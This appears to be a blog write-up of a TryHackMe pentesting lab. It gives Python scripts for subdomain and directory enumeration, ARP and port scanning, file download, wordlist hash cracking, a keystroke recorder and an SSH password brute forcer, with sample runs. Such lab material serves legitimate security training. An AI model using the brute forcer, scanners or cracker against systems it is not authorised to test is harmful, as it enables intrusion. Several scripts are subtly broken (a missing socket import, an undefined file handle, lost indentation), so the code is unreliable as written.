Introduction
Python can be the most powerful tool in your arsenal as it can be used to build almost any of the other penetration testing tools. We will cover several key areas that will be useful during engagements and help you better understand Python.
We are not learning to become a developer; our objective is to become a penetration tester. This room will give you pointers on which you can build and improve. Our goal is then to build quick and effective tools that will help us in our daily tasks.
Throughout this module, we will see how to:
- Use Python to enumerate the target’s subdomain
- Build a simple keylogger
- Scan the network to find target systems
- Scan any target to find the open ports
- Download files from the internet
- Crack hashes
Tasks
Now, let’s focus on completing the TryHackMe room, Python for Pentesters to aide us in scripting tools for a few basic tasks in cybersecurity.
Task 1 - Subdomain Enumerator
Finding subdomains used by the target organization is an effective way to increase the attack surface and discover more vulnerabilities.
import requests
import sys
import argparse
parser = argparse.ArgumentParser(description='test')
parser.add_argument('host', help='add host name or IP')
parser.add_argument('wordlist',help="add path to wordlist")
args = parser.parse_args()
wordlist = open(args.wordlist).read()
subdomains = wordlist.splitlines()
for sub in subdomains:
sub_doms = "http://{}.{}".format(sub, args.host)
try:
requests.get(sub_doms)
except requests.ConnectionError:
pass
else:
print("Valid subdomains found: ", sub_doms)
Example usage:
python3 subdomain_enum.py /path/to/wordlist 10.0.0.10
Task 2 - Directory Enumerator
As it is often pointed out, reconnaissance is one of the most critical steps to the success of a penetration testing engagement. Once subdomains have been discovered, the next step would be to find directories.
import requests
import sys
import argparse
parser = argparse.ArgumentParser(description='test')
parser.add_argument('host', help='add host name or IP')
parser.add_argument('wordlist',help="add path to wordlist")
args = parser.parse_args()
wordlist = open(args.wordlist).read()
directories = wordlist.splitlines()
for dir in directories:
dirs = "http://{}/{}.html".format(args.host, dir)
resp = requests.get(dirs)
if resp.status_code == 404:
pass
else:
print("Valid directory found: ", dir + ".html")
Example usage:
python3 02-directory-enumeration.py 10.10.38.5 subdomain.lst
Valid directory found: surfer
Valid directory found: private
Valid directory found: apollo
Valid directory found: index
Task 3 - Network Scanner
Python can be used to build a simple ICMP (Internet Control Message Protocol) scanner to identify potential targets on the network.
from scapy.all import *
import argparse
parser = argparse.ArgumentParser(description='ICMP Scanenr to identify potential targets on a network')
parser.add_argument('interface', help='Set the network interface to scan on')
parser.add_argument('iprange',help="Set the IP range as CIDR notation: 192.168.0.0/24")
args = parser.parse_args()
interface = args.interface
ip_range = args.iprange
broadcastMac = "ff:ff:ff:ff:ff:ff"
packet = Ether(dst=broadcastMac)/ARP(pdst = ip_range)
ans, unans = srp(packet, timeout=2, iface=interface, inter=0.1)
for send,receive in ans:
print(receive.sprintf(r"%Ether.src% - %ARP.psrc%"))
Example usage:
sudo python3 03-network-scanner.py eth0 192.168.1.0/24
Begin emission:
Finished sending 256 packets.
**...*.......................
Received 29 packets, got 3 answers, remaining 253 packets
80:02:9c:40:f8:9e - 192.168.1.1
1c:8e:5c:f2:3a:f1 - 192.168.1.2
78:24:af:3a:58:23 - 192.168.1.46
Task 4 - Port Scanner
In this task, we will be looking at a script to build a simple port scanner.
import sys
import pyfiglet
import argparse
parser = argparse.ArgumentParser(description='test')
parser.add_argument('ip', help='add host name or IP')
args = parser.parse_args()
ascii_banner = pyfiglet.figlet_format("Potato Port Scanner")
print(ascii_banner)
ip = args.ip
open_ports = []
ports = range(1,65535)
def probe_port(ip, port, result=1):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
r = sock.connect_ex((ip, port))
if r == 0:
result = r
sock.close()
except Exception as e:
pass
return result
for port in ports:
sys.stdout.flush()
response = probe_port(ip, port)
if response == 0:
open_ports.append(port)
if open_ports:
print("Open Ports: ")
print(sorted(open_ports))
else:
print("Unfortunately no ports are opened")
Example usage:
python3 04-port-scanner.py 127.0.0.1
____ _ _ ____ _
| _ \ ___ | |_ __ _| |_ ___ | _ \ ___ _ __| |_
| |_) / _ \| __/ _` | __/ _ \ | |_) / _ \| '__| __|
| __/ (_) | || (_| | || (_) | | __/ (_) | | | |_
|_| \___/ \__\__,_|\__\___/ |_| \___/|_| \__|
____
/ ___| ___ __ _ _ __ _ __ ___ _ __
\___ \ / __/ _` | '_ \| '_ \ / _ \ '__|
___) | (_| (_| | | | | | | | __/ |
|____/ \___\__,_|_| |_|_| |_|\___|_|
Unfortunately no ports are opened
Task 5 - File Downloader
Wget on Linux systems or Certutil on Windows are useful tools to download files.
Python can also be used for the same purpose.
import requests
import argparse
parser = argparse.ArgumentParser(description='test')
parser.add_argument('url', help='add host name or IP')
args = parser.parse_args()
url = args.url
r = requests.get(url, allow_redirects=True)
filename = url.split('/')[-1]
open(filename, 'wb').write(r.content)
Example usage:
python3 05-file-downloader.py https://download.sysinternals.com/files/PSTools.zip
ls
PSTools.zip
Task 6 - Hash Cracker
The Hash library in Python allows you to build hash crackers according to your requirements quickly.
Hashlib is a powerful module that supports a wide range of algorithms.
import hashlib
print(hashlib.algorithms_available)
As you probably know, hash values can not be cracked as they do not contain the cleartext value. Unlike encrypted values that can be “reversed” (e.g. decrypted), cleartext values for hashes can only be found starting with a list of potential cleartext values.
Modified to SHA256
import hashlib
import pyfiglet
ascii_banner = pyfiglet.figlet_format("Potato MD5 Cracker")
print(ascii_banner)
wordlist_location = str(input('Enter wordlist file location: '))
hash_input = str(input('Enter hash to be cracked: '))
with open(wordlist_location, 'r') as file:
for line in file.readlines():
hash_ob = hashlib.sha256(line.strip().encode())
hashed_pass = hash_ob.hexdigest()
if hashed_pass == hash_input:
print('Found cleartext password! ' + line.strip())
exit(0)
Example usage:
┌──(potato㉿kali)-[~/CTF/TryHackMe/python-for-pentesters]
└─$ python3 06-hash-cracker.py
____ _ _ __ __ ____ ____
| _ \ ___ | |_ __ _| |_ ___ | \/ | _ \| ___|
| |_) / _ \| __/ _` | __/ _ \ | |\/| | | | |___ \
| __/ (_) | || (_| | || (_) | | | | | |_| |___) |
|_| \___/ \__\__,_|\__\___/ |_| |_|____/|____/
____ _
/ ___|_ __ __ _ ___| | _____ _ __
| | | '__/ _` |/ __| |/ / _ \ '__|
| |___| | | (_| | (__| < __/ |
\____|_| \__,_|\___|_|\_\___|_|
Enter wordlist file location: /usr/share/seclists/Passwords/500-worst-passwords.txt
Enter hash to be cracked: 5030c5bd002de8713fef5daebd597620f5e8bcea31c603dccdfcdf502a57cc60
Found cleartext password! redwings
Task 7 - Keylogger
Modules allow us to solve relatively difficult problems in a simple way.
A good example is the “keyboard” module, which allows us to interact with the keyboard.
If the “keyboard” module is not available on your system, we can use pip3 to install it.
pip3 install keyboard
Using the keyboard module, the following three lines of code would be enough to record and replay keys pressed:
import keyboard
keys = keyboard.record(until ='ENTER')
keyboard.play(keys)
“keyboard.record” will record the keys until ENTER is pressed, and “keyboard.play” will replay them. As this script is logging keystrokes, any edit using backspace will also be seen.
Task 8 - SSH Brute Forcer
The powerful Python language is supported by a number of modules that easily extend its capabilities. Paramiko is an SSHv2 implementation that will be useful in building SSH clients and servers.
import paramiko
import sys
import os
target = str(input('Please enter target IP address: '))
username = str(input('Please enter username to bruteforce: '))
password_file = str(input('Please enter location of the password file: '))
def ssh_connect(password, code=0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(target, port=22, username=username, password=password)
except paramiko.AuthenticationException:
code = 1
ssh.close()
return code
with open(password_file, 'r') as file:
for line in file.readlines():
password = line.strip()
try:
response = ssh_connect(password)
if response == 0:
print('password found: '+ password)
exit(0)
elif response == 1:
print('no luck')
except Exception as e:
print(e)
pass
input_file.close()
Conclusion
And that’s the end of it! Stay tuned as we will do more custom scripting, including developing some tools, plus, some cloud stuff, too.